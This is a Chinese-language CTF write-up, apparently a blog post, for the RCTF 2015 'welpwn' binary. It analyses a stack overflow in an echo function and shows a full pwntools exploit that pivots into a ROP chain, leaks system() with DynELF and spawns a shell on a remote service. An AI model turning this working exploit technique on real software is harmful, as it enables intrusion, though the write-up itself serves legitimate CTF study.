welpwn(RCTF-2015)--write up

文件下載地址:

鏈接:https://pan.baidu.com/s/1MG2z9r4wz_WTEz1vIikqJQ
提取碼:3tbc 

0x01.分析

checksec:

源碼分析:

流程非常簡單,首先輸入一個1024大小字符串,然後進入函數echo,這個函數會將buf的數據一個字節一個字節的複製到s2中,當遇到x00時停止,退出,並打印s2。

尋找漏洞:

第一個read處沒有漏洞,但是把buf作爲參數傳到了echo中之後,因爲buf時1024,但是s2只有16,很明顯發生了棧溢出。

利用漏洞攻擊:

由於程序之開啓了NX,所以可以先往rop上思考。

按照常規的思路,應該是用24個字節填充,然後根據64位程序的特點,構造一條rop鏈,通過DynELF泄露system的地址,然後再次利用,向bss段寫入/bin/sh,最終get shell。

想想總是好的,但是在這裏,發現不可行了,爲什麼呢?因爲echo這個函數會階段x00,而一般的地址末尾都會有x00,這樣我們就不能寫入多個地址,進行rop鏈的使用,那怎麼辦呢?

我們看一下echo這個函數的棧大小:

只有0x20,也就是32個字節,s2用去了16,rbp用去8個,返回地址用於8個,剛好32個,由於參數放在寄存器裏,所以echo的棧下面就是buf。

可以看一下棧佈局(每格8個字節):

s2的八個字節
s2的八個字節
rbp
返回地址
buf的八個字節
buf的八個字節
......

echo函數可以使用複製一次鏈接,因爲複製到鏈接末尾就會終止,所以我們要利用好這次機會, 那麼怎樣才能執行我們的rop鏈呢?

我們可以將rsp轉入buf裏面進行執行,這樣就沒有限制了,就可以正常執行我們的rop鏈了。

我們可以使用四次pop,將前面的32個字節清空,這樣echo函數在複製完四次pop的地址後就結束循環,開始返回,跳轉到四次pop的地址,然後清空32個字節,繼續執行,就到了rop鏈了,具體情況可以看下面的棧佈局:

A*8
A*8
A*8
pop四次
A*8
A*8
A*8
pop四次
rop鏈

這樣就可以順利執行rop鏈,達到目的了。

因爲可以重複使用,所以我們可以用DynELF泄露system的地址。

0x02.exp

##!/usr/bin/env python2.7
from pwn import*

io=remote("111.198.29.45",38463)
#io=process('./welpwn')
elf=ELF('./welpwn')
#context.log_level  = 'debug'  

read_got=elf.got['read']
write_got=elf.got['write']
start_addr=0x400630
pop4_addr=0x40089c
rop1=0x40089A
rop2=0x400880
bss_addr=0x601070
pop_rdi=0x4008a3

def leak(address):
    io.recv(1024)
    payload='A'*24+p64(pop4_addr)+p64(rop1)+p64(0)+p64(1)+p64(write_got)+p64(8)+p64(address)+p64(1)
    payload+=p64(rop2)+'A'*56+p64(start_addr)
    payload=payload.ljust(1024,'A')
    io.send(payload)
    data=io.recv(8)
    print "%#x => %s" % (address,(data or '').encode('hex'))
    return data

d=DynELF(leak,elf=elf)
system_addr=d.lookup("system","libc")
print hex(system_addr)
print io.recv(1024)
payload='A'*24+p64(pop4_addr)+p64(rop1)+p64(0)+p64(1)+p64(read_got)+p64(8)+p64(bss_addr)+p64(0)
payload+=p64(rop2)+'A'*56+p64(pop_rdi)+p64(bss_addr)+p64(system_addr)+'A'*8
payload=payload.ljust(1024,'A')
io.send(payload)
io.send('/bin/sh')

io.interactive()

 

注:具體rop鏈的使用可以參考前面的博客。

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章